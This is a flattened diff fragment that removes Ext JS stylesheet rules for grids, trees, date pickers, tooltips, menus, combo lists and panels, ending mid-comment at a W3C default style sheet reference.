- -.x-grid3-row-collapsed .x-grid3-row-expander { - background-position:4px 2px; -} - -.x-grid3-row-expanded .x-grid3-row-expander { - background-position:-21px 2px; -} - -.x-grid3-row-collapsed .x-grid3-row-body { - display:none !important; -} - -.x-grid3-row-expanded .x-grid3-row-body { - display:block !important; -} - -/* Checkers */ -.x-grid3-body .x-grid3-td-checker { - background:transparent repeat-y right; -} - -.x-grid3-body .x-grid3-td-checker .x-grid3-cell-inner, .x-grid3-header .x-grid3-td-checker .x-grid3-hd-inner { - padding:0 !important; - height:100%; -} - -.x-grid3-row-checker, .x-grid3-hd-checker { - width:100%; - height:18px; - background-position:2px 2px; - background-repeat:no-repeat; - background-color:transparent; -} - -.x-grid3-row .x-grid3-row-checker { - background-position:2px 2px; -} - -.x-grid3-row-selected .x-grid3-row-checker, .x-grid3-hd-checker-on .x-grid3-hd-checker,.x-grid3-row-checked .x-grid3-row-checker { - background-position:-23px 2px; -} - -.x-grid3-hd-checker { - background-position:2px 1px; -} - -.ext-border-box .x-grid3-hd-checker { - background-position:2px 3px; -} - -.x-grid3-hd-checker-on .x-grid3-hd-checker { - background-position:-23px 1px; -} - -.ext-border-box .x-grid3-hd-checker-on .x-grid3-hd-checker { - background-position:-23px 3px; -} - -/* Numberer */ -.x-grid3-body .x-grid3-td-numberer { - background:transparent repeat-y right; -} - -.x-grid3-body .x-grid3-td-numberer .x-grid3-cell-inner { - padding:3px 5px 0 0 !important; - text-align:right; -} - -/* Row Icon */ - -.x-grid3-body .x-grid3-td-row-icon { - background:transparent repeat-y right; - vertical-align:top; - text-align:center; -} - -.x-grid3-body .x-grid3-td-row-icon .x-grid3-cell-inner { - padding:0 !important; - background-position:center center; - background-repeat:no-repeat; - width:16px; - height:16px; - margin-left:2px; - margin-top:3px; -} - -/* All specials */ -.x-grid3-body .x-grid3-row-selected .x-grid3-td-numberer, -.x-grid3-body .x-grid3-row-selected .x-grid3-td-checker, -.x-grid3-body .x-grid3-row-selected .x-grid3-td-expander { - background:transparent repeat-y right; -} - -.x-grid3-body .x-grid3-check-col-td .x-grid3-cell-inner { - padding: 1px 0 0 0 !important; -} - -.x-grid3-check-col { - width:100%; - height:16px; - background-position:center center; - background-repeat:no-repeat; - background-color:transparent; -} - -.x-grid3-check-col-on { - width:100%; - height:16px; - background-position:center center; - background-repeat:no-repeat; - background-color:transparent; -} - -/* Grouping classes */ -.x-grid-group, .x-grid-group-body, .x-grid-group-hd { - zoom:1; -} - -.x-grid-group-hd { - border-bottom: 2px solid; - cursor:pointer; - padding-top:6px; -} - -.x-grid-group-hd div.x-grid-group-title { - background:transparent no-repeat 3px 3px; - padding:4px 4px 4px 17px; -} - -.x-grid-group-collapsed .x-grid-group-body { - display:none; -} - -.ext-ie6 .x-grid3 .x-editor .x-form-text, .ext-ie7 .x-grid3 .x-editor .x-form-text { - position:relative; - top:-1px; -} - -.ext-ie .x-props-grid .x-editor .x-form-text { - position:static; - top:0; -} - -.x-grid-empty { - padding:10px; -} - -/* fix floating toolbar issue */ -.ext-ie7 .x-grid-panel .x-panel-bbar { - position:relative; -} - - -/* Reset position to static when Grid Panel has been framed */ -/* to resolve 'snapping' from top to bottom behavior. */ -/* @forumThread 86656 */ -.ext-ie7 .x-grid-panel .x-panel-mc .x-panel-bbar { - position: static; -} - -.ext-ie6 .x-grid3-header { - position: relative; -} - -/* Fix WebKit bug in Grids */ -.ext-webkit .x-grid-panel .x-panel-bwrap{ - -webkit-user-select:none; -} -.ext-webkit .x-tbar-page-number{ - -webkit-user-select:ignore; -} -/* end*/ - -/* column lines */ -.x-grid-with-col-lines .x-grid3-row td.x-grid3-cell { - padding-right:0; - border-right:1px solid; -} -.x-pivotgrid .x-grid3-header-offset table { - width: 100%; - border-collapse: collapse; -} - -.x-pivotgrid .x-grid3-header-offset table td { - padding: 4px 3px 4px 5px; - text-align: center; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; - font-size: 11px; - line-height: 13px; - font-family: tahoma; -} - -.x-pivotgrid .x-grid3-row-headers { - display: block; - float: left; -} - -.x-pivotgrid .x-grid3-row-headers table { - height: 100%; - width: 100%; - border-collapse: collapse; -} - -.x-pivotgrid .x-grid3-row-headers table td { - height: 18px; - padding: 2px 7px 0 0; - text-align: right; - text-overflow: ellipsis; - font-size: 11px; - font-family: tahoma; -} - -.ext-gecko .x-pivotgrid .x-grid3-row-headers table td { - height: 21px; -} - -.x-grid3-header-title { - top: 0%; - left: 0%; - position: absolute; - text-align: center; - vertical-align: middle; - font-family: tahoma; - font-size: 11px; - padding: auto 1px; - display: table-cell; -} - -.x-grid3-header-title span { - position: absolute; - top: 50%; - left: 0%; - width: 100%; - margin-top: -6px; -}.x-dd-drag-proxy{ - position:absolute; - left:0; - top:0; - visibility:hidden; - z-index:15000; -} - -.x-dd-drag-ghost{ - -moz-opacity: 0.85; - opacity:.85; - filter: alpha(opacity=85); - border: 1px solid; - padding:3px; - padding-left:20px; - white-space:nowrap; -} - -.x-dd-drag-repair .x-dd-drag-ghost{ - -moz-opacity: 0.4; - opacity:.4; - filter: alpha(opacity=40); - border:0 none; - padding:0; - background-color:transparent; -} - -.x-dd-drag-repair .x-dd-drop-icon{ - visibility:hidden; -} - -.x-dd-drop-icon{ - position:absolute; - top:3px; - left:3px; - display:block; - width:16px; - height:16px; - background-color:transparent; - background-position: center; - background-repeat: no-repeat; - z-index:1; -} - -.x-view-selector { - position:absolute; - left:0; - top:0; - width:0; - border:1px dotted; - opacity: .5; - -moz-opacity: .5; - filter:alpha(opacity=50); - zoom:1; -}.ext-strict .ext-ie .x-tree .x-panel-bwrap{ - position:relative; - overflow:hidden; -} - -.x-tree-icon, .x-tree-ec-icon, .x-tree-elbow-line, .x-tree-elbow, .x-tree-elbow-end, .x-tree-elbow-plus, .x-tree-elbow-minus, .x-tree-elbow-end-plus, .x-tree-elbow-end-minus{ - border: 0 none; - height: 18px; - margin: 0; - padding: 0; - vertical-align: top; - width: 16px; - background-repeat: no-repeat; -} - -.x-tree-node-collapsed .x-tree-node-icon, .x-tree-node-expanded .x-tree-node-icon, .x-tree-node-leaf .x-tree-node-icon{ - border: 0 none; - height: 18px; - margin: 0; - padding: 0; - vertical-align: top; - width: 16px; - background-position:center; - background-repeat: no-repeat; -} - -.ext-ie .x-tree-node-indent img, .ext-ie .x-tree-node-icon, .ext-ie .x-tree-ec-icon { - vertical-align: middle !important; -} - -.ext-strict .ext-ie8 .x-tree-node-indent img, .ext-strict .ext-ie8 .x-tree-node-icon, .ext-strict .ext-ie8 .x-tree-ec-icon { - vertical-align: top !important; -} - -/* checkboxes */ - -input.x-tree-node-cb { - margin-left:1px; - height: 19px; - vertical-align: bottom; -} - -.ext-ie input.x-tree-node-cb { - margin-left:0; - margin-top: 1px; - width: 16px; - height: 16px; - vertical-align: middle; -} - -.ext-strict .ext-ie8 input.x-tree-node-cb{ - margin: 1px 1px; - height: 14px; - vertical-align: bottom; -} - -.ext-strict .ext-ie8 input.x-tree-node-cb + a{ - vertical-align: bottom; -} - -.ext-opera input.x-tree-node-cb { - height: 14px; - vertical-align: middle; -} - -.x-tree-noicon .x-tree-node-icon{ - width:0; height:0; -} - -/* No line styles */ -.x-tree-no-lines .x-tree-elbow{ - background-color:transparent; -} - -.x-tree-no-lines .x-tree-elbow-end{ - background-color:transparent; -} - -.x-tree-no-lines .x-tree-elbow-line{ - background-color:transparent; -} - -/* Arrows */ -.x-tree-arrows .x-tree-elbow{ - background-color:transparent; -} - -.x-tree-arrows .x-tree-elbow-plus{ - background:transparent no-repeat 0 0; -} - -.x-tree-arrows .x-tree-elbow-minus{ - background:transparent no-repeat -16px 0; -} - -.x-tree-arrows .x-tree-elbow-end{ - background-color:transparent; -} - -.x-tree-arrows .x-tree-elbow-end-plus{ - background:transparent no-repeat 0 0; -} - -.x-tree-arrows .x-tree-elbow-end-minus{ - background:transparent no-repeat -16px 0; -} - -.x-tree-arrows .x-tree-elbow-line{ - background-color:transparent; -} - -.x-tree-arrows .x-tree-ec-over .x-tree-elbow-plus{ - background-position:-32px 0; -} - -.x-tree-arrows .x-tree-ec-over .x-tree-elbow-minus{ - background-position:-48px 0; -} - -.x-tree-arrows .x-tree-ec-over .x-tree-elbow-end-plus{ - background-position:-32px 0; -} - -.x-tree-arrows .x-tree-ec-over .x-tree-elbow-end-minus{ - background-position:-48px 0; -} - -.x-tree-elbow-plus, .x-tree-elbow-minus, .x-tree-elbow-end-plus, .x-tree-elbow-end-minus{ - cursor:pointer; -} - -.ext-ie ul.x-tree-node-ct{ - font-size:0; - line-height:0; - zoom:1; -} - -.x-tree-node{ - white-space: nowrap; -} - -.x-tree-node-el { - line-height:18px; - cursor:pointer; -} - -.x-tree-node a, .x-dd-drag-ghost a{ - text-decoration:none; - -khtml-user-select:none; - -moz-user-select:none; - -webkit-user-select:ignore; - -kthml-user-focus:normal; - -moz-user-focus:normal; - -moz-outline: 0 none; - outline:0 none; -} - -.x-tree-node a span, .x-dd-drag-ghost a span{ - text-decoration:none; - padding:1px 3px 1px 2px; -} - -.x-tree-node .x-tree-node-disabled .x-tree-node-icon{ - -moz-opacity: 0.5; - opacity:.5; - filter: alpha(opacity=50); -} - -.x-tree-node .x-tree-node-inline-icon{ - background-color:transparent; -} - -.x-tree-node a:hover, .x-dd-drag-ghost a:hover{ - text-decoration:none; -} - -.x-tree-node div.x-tree-drag-insert-below{ - border-bottom:1px dotted; -} - -.x-tree-node div.x-tree-drag-insert-above{ - border-top:1px dotted; -} - -.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-below{ - border-bottom:0 none; -} - -.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-above{ - border-top:0 none; -} - -.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-below a{ - border-bottom:2px solid; -} - -.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-above a{ - border-top:2px solid; -} - -.x-tree-node .x-tree-drag-append a span{ - border:1px dotted; -} - -.x-dd-drag-ghost .x-tree-node-indent, .x-dd-drag-ghost .x-tree-ec-icon{ - display:none !important; -} - -/* Fix for ie rootVisible:false issue */ -.x-tree-root-ct { - zoom:1; -} -.x-date-picker { - border: 1px solid; - border-top:0 none; - position:relative; -} - -.x-date-picker a { - -moz-outline:0 none; - outline:0 none; -} - -.x-date-inner, .x-date-inner td, .x-date-inner th{ - border-collapse:separate; -} - -.x-date-middle,.x-date-left,.x-date-right { - background: repeat-x 0 -83px; - overflow:hidden; -} - -.x-date-middle .x-btn-tc,.x-date-middle .x-btn-tl,.x-date-middle .x-btn-tr, -.x-date-middle .x-btn-mc,.x-date-middle .x-btn-ml,.x-date-middle .x-btn-mr, -.x-date-middle .x-btn-bc,.x-date-middle .x-btn-bl,.x-date-middle .x-btn-br{ - background:transparent !important; - vertical-align:middle; -} - -.x-date-middle .x-btn-mc em.x-btn-arrow { - background:transparent no-repeat right 0; -} - -.x-date-right, .x-date-left { - width:18px; -} - -.x-date-right{ - text-align:right; -} - -.x-date-middle { - padding-top:2px; - padding-bottom:2px; - width:130px; /* FF3 */ -} - -.x-date-right a, .x-date-left a{ - display:block; - width:16px; - height:16px; - background-position: center; - background-repeat: no-repeat; - cursor:pointer; - -moz-opacity: 0.6; - opacity:.6; - filter: alpha(opacity=60); -} - -.x-date-right a:hover, .x-date-left a:hover{ - -moz-opacity: 1; - opacity:1; - filter: alpha(opacity=100); -} - -.x-item-disabled .x-date-right a:hover, .x-item-disabled .x-date-left a:hover{ - -moz-opacity: 0.6; - opacity:.6; - filter: alpha(opacity=60); -} - -.x-date-right a { - margin-right:2px; - text-decoration:none !important; -} - -.x-date-left a{ - margin-left:2px; - text-decoration:none !important; -} - -table.x-date-inner { - width: 100%; - table-layout:fixed; -} - -.ext-webkit table.x-date-inner{ - /* Fix for webkit browsers */ - width: 175px; -} - - -.x-date-inner th { - width:25px; -} - -.x-date-inner th { - background: repeat-x left top; - text-align:right !important; - border-bottom: 1px solid; - cursor:default; - padding:0; - border-collapse:separate; -} - -.x-date-inner th span { - display:block; - padding:2px; - padding-right:7px; -} - -.x-date-inner td { - border: 1px solid; - text-align:right; - padding:0; -} - -.x-date-inner a { - padding:2px 5px; - display:block; - text-decoration:none; - text-align:right; - zoom:1; -} - -.x-date-inner .x-date-active{ - cursor:pointer; - color:black; -} - -.x-date-inner .x-date-selected a{ - background: repeat-x left top; - border:1px solid; - padding:1px 4px; -} - -.x-date-inner .x-date-today a{ - border: 1px solid; - padding:1px 4px; -} - -.x-date-inner .x-date-prevday a,.x-date-inner .x-date-nextday a { - text-decoration:none !important; -} - -.x-date-bottom { - padding:4px; - border-top: 1px solid; - background: repeat-x left top; -} - -.x-date-inner a:hover, .x-date-inner .x-date-disabled a:hover{ - text-decoration:none !important; -} - -.x-item-disabled .x-date-inner a:hover{ - background: none; -} - -.x-date-inner .x-date-disabled a { - cursor:default; -} - -.x-date-menu .x-menu-item { - padding:1px 24px 1px 4px; - white-space: nowrap; -} - -.x-date-menu .x-menu-item .x-menu-item-icon { - width:10px; - height:10px; - margin-right:5px; - background-position:center -4px !important; -} - -.x-date-mp { - position:absolute; - left:0; - top:0; - display:none; -} - -.x-date-mp td { - padding:2px; - font:normal 11px arial, helvetica,tahoma,sans-serif; -} - -td.x-date-mp-month,td.x-date-mp-year,td.x-date-mp-ybtn { - border: 0 none; - text-align:center; - vertical-align: middle; - width:25%; -} - -.x-date-mp-ok { - margin-right:3px; -} - -.x-date-mp-btns button { - text-decoration:none; - text-align:center; - text-decoration:none !important; - border:1px solid; - padding:1px 3px 1px; - cursor:pointer; -} - -.x-date-mp-btns { - background: repeat-x left top; -} - -.x-date-mp-btns td { - border-top: 1px solid; - text-align:center; -} - -td.x-date-mp-month a,td.x-date-mp-year a { - display:block; - padding:2px 4px; - text-decoration:none; - text-align:center; -} - -td.x-date-mp-month a:hover,td.x-date-mp-year a:hover { - text-decoration:none; - cursor:pointer; -} - -td.x-date-mp-sel a { - padding:1px 3px; - background: repeat-x left top; - border:1px solid; -} - -.x-date-mp-ybtn a { - overflow:hidden; - width:15px; - height:15px; - cursor:pointer; - background:transparent no-repeat; - display:block; - margin:0 auto; -} - -.x-date-mp-ybtn a.x-date-mp-next { - background-position:0 -120px; -} - -.x-date-mp-ybtn a.x-date-mp-next:hover { - background-position:-15px -120px; -} - -.x-date-mp-ybtn a.x-date-mp-prev { - background-position:0 -105px; -} - -.x-date-mp-ybtn a.x-date-mp-prev:hover { - background-position:-15px -105px; -} - -.x-date-mp-ybtn { - text-align:center; -} - -td.x-date-mp-sep { - border-right:1px solid; -}.x-tip{ - position: absolute; - top: 0; - left:0; - visibility: hidden; - z-index: 20002; - border:0 none; -} - -.x-tip .x-tip-close{ - height: 15px; - float:right; - width: 15px; - margin:0 0 2px 2px; - cursor:pointer; - display:none; -} - -.x-tip .x-tip-tc { - background: transparent no-repeat 0 -62px; - padding-top:3px; - overflow:hidden; - zoom:1; -} - -.x-tip .x-tip-tl { - background: transparent no-repeat 0 0; - padding-left:6px; - overflow:hidden; - zoom:1; -} - -.x-tip .x-tip-tr { - background: transparent no-repeat right 0; - padding-right:6px; - overflow:hidden; - zoom:1; -} - -.x-tip .x-tip-bc { - background: transparent no-repeat 0 -121px; - height:3px; - overflow:hidden; -} - -.x-tip .x-tip-bl { - background: transparent no-repeat 0 -59px; - padding-left:6px; - zoom:1; -} - -.x-tip .x-tip-br { - background: transparent no-repeat right -59px; - padding-right:6px; - zoom:1; -} - -.x-tip .x-tip-mc { - border:0 none; -} - -.x-tip .x-tip-ml { - background: no-repeat 0 -124px; - padding-left:6px; - zoom:1; -} - -.x-tip .x-tip-mr { - background: transparent no-repeat right -124px; - padding-right:6px; - zoom:1; -} - -.ext-ie .x-tip .x-tip-header,.ext-ie .x-tip .x-tip-tc { - font-size:0; - line-height:0; -} - -.ext-border-box .x-tip .x-tip-header, .ext-border-box .x-tip .x-tip-tc{ - line-height: 1px; -} - -.x-tip .x-tip-header-text { - padding:0; - margin:0 0 2px 0; -} - -.x-tip .x-tip-body { - margin:0 !important; - line-height:14px; - padding:0; -} - -.x-tip .x-tip-body .loading-indicator { - margin:0; -} - -.x-tip-draggable .x-tip-header,.x-tip-draggable .x-tip-header-text { - cursor:move; -} - -.x-form-invalid-tip .x-tip-tc { - background: repeat-x 0 -12px; - padding-top:6px; -} - -.x-form-invalid-tip .x-tip-bc { - background: repeat-x 0 -18px; - height:6px; -} - -.x-form-invalid-tip .x-tip-bl { - background: no-repeat 0 -6px; -} - -.x-form-invalid-tip .x-tip-br { - background: no-repeat right -6px; -} - -.x-form-invalid-tip .x-tip-body { - padding:2px; -} - -.x-form-invalid-tip .x-tip-body { - padding-left:24px; - background:transparent no-repeat 2px 2px; -} - -.x-tip-anchor { - position: absolute; - width: 9px; - height: 10px; - overflow:hidden; - background: transparent no-repeat 0 0; - zoom:1; -} -.x-tip-anchor-bottom { - background-position: -9px 0; -} -.x-tip-anchor-right { - background-position: -18px 0; - width: 10px; -} -.x-tip-anchor-left { - background-position: -28px 0; - width: 10px; -}.x-menu { - z-index: 15000; - zoom: 1; - background: repeat-y; -} - -.x-menu-floating{ - border: 1px solid; -} - -.x-menu a { - text-decoration: none !important; -} - -.ext-ie .x-menu { - zoom:1; - overflow:hidden; -} - -.x-menu-list{ - padding: 2px; - background-color:transparent; - border:0 none; - overflow:hidden; - overflow-y: hidden; -} - -.ext-strict .ext-ie .x-menu-list{ - position: relative; -} - -.x-menu li{ - line-height:100%; -} - -.x-menu li.x-menu-sep-li{ - font-size:1px; - line-height:1px; -} - -.x-menu-list-item{ - white-space: nowrap; - display:block; - padding:1px; -} - -.x-menu-item{ - -moz-user-select: none; - -khtml-user-select:none; - -webkit-user-select:ignore; -} - -.x-menu-item-arrow{ - background:transparent no-repeat right; -} - -.x-menu-sep { - display:block; - font-size:1px; - line-height:1px; - margin: 2px 3px; - border-bottom:1px solid; - overflow:hidden; -} - -.x-menu-focus { - position:absolute; - left:-1px; - top:-1px; - width:1px; - height:1px; - line-height:1px; - font-size:1px; - -moz-outline:0 none; - outline:0 none; - -moz-user-select: none; - -khtml-user-select:none; - -webkit-user-select:ignore; - overflow:hidden; - display:block; -} - -a.x-menu-item { - cursor: pointer; - display: block; - line-height: 16px; - outline-color: -moz-use-text-color; - outline-style: none; - outline-width: 0; - padding: 3px 21px 3px 27px; - position: relative; - text-decoration: none; - white-space: nowrap; -} - -.x-menu-item-active { - background-repeat: repeat-x; - background-position: left bottom; - border-style:solid; - border-width: 1px 0; - margin:0 1px; - padding: 0; -} - -.x-menu-item-active a.x-menu-item { - border-style:solid; - border-width:0 1px; - margin:0 -1px; -} - -.x-menu-item-icon { - border: 0 none; - height: 16px; - padding: 0; - vertical-align: top; - width: 16px; - position: absolute; - left: 3px; - top: 3px; - margin: 0; - background-position:center; -} - -.ext-ie .x-menu-item-icon { - left: -24px; -} -.ext-strict .x-menu-item-icon { - left: 3px; -} - -.ext-ie6 .x-menu-item-icon { - left: -24px; -} - -.ext-ie .x-menu-item-icon { - vertical-align: middle; -} - -.x-menu-check-item .x-menu-item-icon{ - background: transparent no-repeat center; -} - -.x-menu-group-item .x-menu-item-icon{ - background-color: transparent; -} - -.x-menu-item-checked .x-menu-group-item .x-menu-item-icon{ - background: transparent no-repeat center; -} - -.x-date-menu .x-menu-list{ - padding: 0; -} - -.x-menu-date-item{ - padding:0; -} - -.x-menu .x-color-palette, .x-menu .x-date-picker{ - margin-left: 26px; - margin-right:4px; -} - -.x-menu .x-date-picker{ - border:1px solid; - margin-top:2px; - margin-bottom:2px; -} - -.x-menu-plain .x-color-palette, .x-menu-plain .x-date-picker{ - margin: 0; - border: 0 none; -} - -.x-date-menu { - padding:0 !important; -} - -/* - * fixes separator visibility problem in IE 6 - */ -.ext-strict .ext-ie6 .x-menu-sep-li { - padding: 3px 4px; -} -.ext-strict .ext-ie6 .x-menu-sep { - margin: 0; - height: 1px; -} - -/* - * Fixes an issue with "fat" separators in webkit - */ -.ext-webkit .x-menu-sep{ - height: 1px; -} - -/* - * Ugly mess to remove the white border under the picker - */ -.ext-ie .x-date-menu{ - height: 199px; -} - -.ext-strict .ext-ie .x-date-menu, .ext-border-box .ext-ie8 .x-date-menu{ - height: 197px; -} - -.ext-strict .ext-ie7 .x-date-menu{ - height: 195px; -} - -.ext-strict .ext-ie8 .x-date-menu{ - height: auto; -} - -.x-cycle-menu .x-menu-item-checked { - border:1px dotted !important; - padding:0; -} - -.x-menu .x-menu-scroller { - width: 100%; - background-repeat:no-repeat; - background-position:center; - height:8px; - line-height: 8px; - cursor:pointer; - margin: 0; - padding: 0; -} - -.x-menu .x-menu-scroller-active{ - height: 6px; - line-height: 6px; -} - -.x-menu-list-item-indent{ - padding-left: 27px; -}/* - Creates rounded, raised boxes like on the Ext website - the markup isn't pretty: -
-
-
-

YOUR TITLE HERE (optional)

-
YOUR CONTENT HERE
-
-
-
- */ - -.x-box-tl { - background: transparent no-repeat 0 0; - zoom:1; -} - -.x-box-tc { - height: 8px; - background: transparent repeat-x 0 0; - overflow: hidden; -} - -.x-box-tr { - background: transparent no-repeat right -8px; -} - -.x-box-ml { - background: transparent repeat-y 0; - padding-left: 4px; - overflow: hidden; - zoom:1; -} - -.x-box-mc { - background: repeat-x 0 -16px; - padding: 4px 10px; -} - -.x-box-mc h3 { - margin: 0 0 4px 0; - zoom:1; -} - -.x-box-mr { - background: transparent repeat-y right; - padding-right: 4px; - overflow: hidden; -} - -.x-box-bl { - background: transparent no-repeat 0 -16px; - zoom:1; -} - -.x-box-bc { - background: transparent repeat-x 0 -8px; - height: 8px; - overflow: hidden; -} - -.x-box-br { - background: transparent no-repeat right -24px; -} - -.x-box-tl, .x-box-bl { - padding-left: 8px; - overflow: hidden; -} - -.x-box-tr, .x-box-br { - padding-right: 8px; - overflow: hidden; -}.x-combo-list { - border:1px solid; - zoom:1; - overflow:hidden; -} - -.x-combo-list-inner { - overflow:auto; - position:relative; /* for calculating scroll offsets */ - zoom:1; - overflow-x:hidden; -} - -.x-combo-list-hd { - border-bottom:1px solid; - padding:3px; -} - -.x-resizable-pinned .x-combo-list-inner { - border-bottom:1px solid; -} - -.x-combo-list-item { - padding:2px; - border:1px solid; - white-space: nowrap; - overflow:hidden; - text-overflow: ellipsis; -} - -.x-combo-list .x-combo-selected{ - border:1px dotted !important; - cursor:pointer; -} - -.x-combo-list .x-toolbar { - border-top:1px solid; - border-bottom:0 none; -}.x-panel { - border-style: solid; - border-width:0; -} - -.x-panel-header { - overflow:hidden; - zoom:1; - padding:5px 3px 4px 5px; - border:1px solid; - line-height: 15px; - background: transparent repeat-x 0 -1px; -} - -.x-panel-body { - border:1px solid; - border-top:0 none; - overflow:hidden; - position: relative; /* added for item scroll positioning */ -} - -.x-panel-bbar .x-toolbar, .x-panel-tbar .x-toolbar { - border:1px solid; - border-top:0 none; - overflow:hidden; - padding:2px; -} - -.x-panel-tbar-noheader .x-toolbar, .x-panel-mc .x-panel-tbar .x-toolbar { - border-top:1px solid; - border-bottom: 0 none; -} - -.x-panel-body-noheader, .x-panel-mc .x-panel-body { - border-top:1px solid; -} - -.x-panel-header { - overflow:hidden; - zoom:1; -} - -.x-panel-tl .x-panel-header { - padding:5px 0 4px 0; - border:0 none; - background:transparent no-repeat; -} - -.x-panel-tl .x-panel-icon, .x-window-tl .x-panel-icon { - padding-left:20px !important; - background-repeat:no-repeat; - background-position:0 4px; - zoom:1; -} - -.x-panel-inline-icon { - width:16px; - height:16px; - background-repeat:no-repeat; - background-position:0 0; - vertical-align:middle; - margin-right:4px; - margin-top:-1px; - margin-bottom:-1px; -} - -.x-panel-tc { - background: transparent repeat-x 0 0; - overflow:hidden; -} - -/* fix ie7 strict mode bug */ -.ext-strict .ext-ie7 .x-panel-tc { - overflow: visible; -} - -.x-panel-tl { - background: transparent no-repeat 0 0; - padding-left:6px; - zoom:1; - border-bottom:1px solid; -} - -.x-panel-tr { - background: transparent no-repeat right 0; - zoom:1; - padding-right:6px; -} - -.x-panel-bc { - background: transparent repeat-x 0 bottom; - zoom:1; -} - -.x-panel-bc .x-panel-footer { - zoom:1; -} - -.x-panel-bl { - background: transparent no-repeat 0 bottom; - padding-left:6px; - zoom:1; -} - -.x-panel-br { - background: transparent no-repeat right bottom; - padding-right:6px; - zoom:1; -} - -.x-panel-mc { - border:0 none; - padding:0; - margin:0; - padding-top:6px; -} - -.x-panel-mc .x-panel-body { - background-color:transparent; - border: 0 none; -} - -.x-panel-ml { - background: repeat-y 0 0; - padding-left:6px; - zoom:1; -} - -.x-panel-mr { - background: transparent repeat-y right 0; - padding-right:6px; - zoom:1; -} - -.x-panel-bc .x-panel-footer { - padding-bottom:6px; -} - -.x-panel-nofooter .x-panel-bc, .x-panel-nofooter .x-window-bc { - height:6px; - font-size:0; - line-height:0; -} - -.x-panel-bwrap { - overflow:hidden; - zoom:1; - left:0; - top:0; -} -.x-panel-body { - overflow:hidden; - zoom:1; -} - -.x-panel-collapsed .x-resizable-handle{ - display:none; -} - -.ext-gecko .x-panel-animated div { - overflow:hidden !important; -} - -/* Plain */ -.x-plain-body { - overflow:hidden; -} - -.x-plain-bbar .x-toolbar { - overflow:hidden; - padding:2px; -} - -.x-plain-tbar .x-toolbar { - overflow:hidden; - padding:2px; -} - -.x-plain-bwrap { - overflow:hidden; - zoom:1; -} - -.x-plain { - overflow:hidden; -} - -/* Tools */ -.x-tool { - overflow:hidden; - width:15px; - height:15px; - float:right; - cursor:pointer; - background:transparent no-repeat; - margin-left:2px; -} - -/* expand / collapse tools */ -.x-tool-toggle { - background-position:0 -60px; -} - -.x-tool-toggle-over { - background-position:-15px -60px; -} - -.x-panel-collapsed .x-tool-toggle { - background-position:0 -75px; -} - -.x-panel-collapsed .x-tool-toggle-over { - background-position:-15px -75px; -} - - -.x-tool-close { - background-position:0 -0; -} - -.x-tool-close-over { - background-position:-15px 0; -} - -.x-tool-minimize { - background-position:0 -15px; -} - -.x-tool-minimize-over { - background-position:-15px -15px; -} - -.x-tool-maximize { - background-position:0 -30px; -} - -.x-tool-maximize-over { - background-position:-15px -30px; -} - -.x-tool-restore { - background-position:0 -45px; -} - -.x-tool-restore-over { - background-position:-15px -45px; -} - -.x-tool-gear { - background-position:0 -90px; -} - -.x-tool-gear-over { - background-position:-15px -90px; -} - -.x-tool-prev { - background-position:0 -105px; -} - -.x-tool-prev-over { - background-position:-15px -105px; -} - -.x-tool-next { - background-position:0 -120px; -} - -.x-tool-next-over { - background-position:-15px -120px; -} - -.x-tool-pin { - background-position:0 -135px; -} - -.x-tool-pin-over { - background-position:-15px -135px; -} - -.x-tool-unpin { - background-position:0 -150px; -} - -.x-tool-unpin-over { - background-position:-15px -150px; -} - -.x-tool-right { - background-position:0 -165px; -} - -.x-tool-right-over { - background-position:-15px -165px; -} - -.x-tool-left { - background-position:0 -180px; -} - -.x-tool-left-over { - background-position:-15px -180px; -} - -.x-tool-down { - background-position:0 -195px; -} - -.x-tool-down-over { - background-position:-15px -195px; -} - -.x-tool-up { - background-position:0 -210px; -} - -.x-tool-up-over { - background-position:-15px -210px; -} - -.x-tool-refresh { - background-position:0 -225px; -} - -.x-tool-refresh-over { - background-position:-15px -225px; -} - -.x-tool-plus { - background-position:0 -240px; -} - -.x-tool-plus-over { - background-position:-15px -240px; -} - -.x-tool-minus { - background-position:0 -255px; -} - -.x-tool-minus-over { - background-position:-15px -255px; -} - -.x-tool-search { - background-position:0 -270px; -} - -.x-tool-search-over { - background-position:-15px -270px; -} - -.x-tool-save { - background-position:0 -285px; -} - -.x-tool-save-over { - background-position:-15px -285px; -} - -.x-tool-help { - background-position:0 -300px; -} - -.x-tool-help-over { - background-position:-15px -300px; -} - -.x-tool-print { - background-position:0 -315px; -} - -.x-tool-print-over { - background-position:-15px -315px; -} - -.x-tool-expand { - background-position:0 -330px; -} - -.x-tool-expand-over { - background-position:-15px -330px; -} - -.x-tool-collapse { - background-position:0 -345px; -} - -.x-tool-collapse-over { - background-position:-15px -345px; -} - -.x-tool-resize { - background-position:0 -360px; -} - -.x-tool-resize-over { - background-position:-15px -360px; -} - -.x-tool-move { - background-position:0 -375px; -} - -.x-tool-move-over { - background-position:-15px -375px; -} - -/* Ghosting */ -.x-panel-ghost { - z-index:12000; - overflow:hidden; - position:absolute; - left:0;top:0; - opacity:.65; - -moz-opacity:.65; - filter:alpha(opacity=65); -} - -.x-panel-ghost ul { - margin:0; - padding:0; - overflow:hidden; - font-size:0; - line-height:0; - border:1px solid; - border-top:0 none; - display:block; -} - -.x-panel-ghost * { - cursor:move !important; -} - -.x-panel-dd-spacer { - border:2px dashed; -} - -/* Buttons */ -.x-panel-btns { - padding:5px; - overflow:hidden; -} - -.x-panel-btns td.x-toolbar-cell{ - padding:3px; -} - -.x-panel-btns .x-btn-focus .x-btn-left{ - background-position:0 -147px; -} - -.x-panel-btns .x-btn-focus .x-btn-right{ - background-position:0 -168px; -} - -.x-panel-btns .x-btn-focus .x-btn-center{ - background-position:0 -189px; -} - -.x-panel-btns .x-btn-over .x-btn-left{ - background-position:0 -63px; -} - -.x-panel-btns .x-btn-over .x-btn-right{ - background-position:0 -84px; -} - -.x-panel-btns .x-btn-over .x-btn-center{ - background-position:0 -105px; -} - -.x-panel-btns .x-btn-click .x-btn-center{ - background-position:0 -126px; -} - -.x-panel-btns .x-btn-click .x-btn-right{ - background-position:0 -84px; -} - -.x-panel-btns .x-btn-click .x-btn-left{ - background-position:0 -63px; -} - -.x-panel-fbar td,.x-panel-fbar span,.x-panel-fbar input,.x-panel-fbar div,.x-panel-fbar select,.x-panel-fbar label{ - white-space: nowrap; -} -/** - * W3C Suggested Default style sheet for HTML 4 - * http://www.w3.org/TR/CSS21/sample.html - * 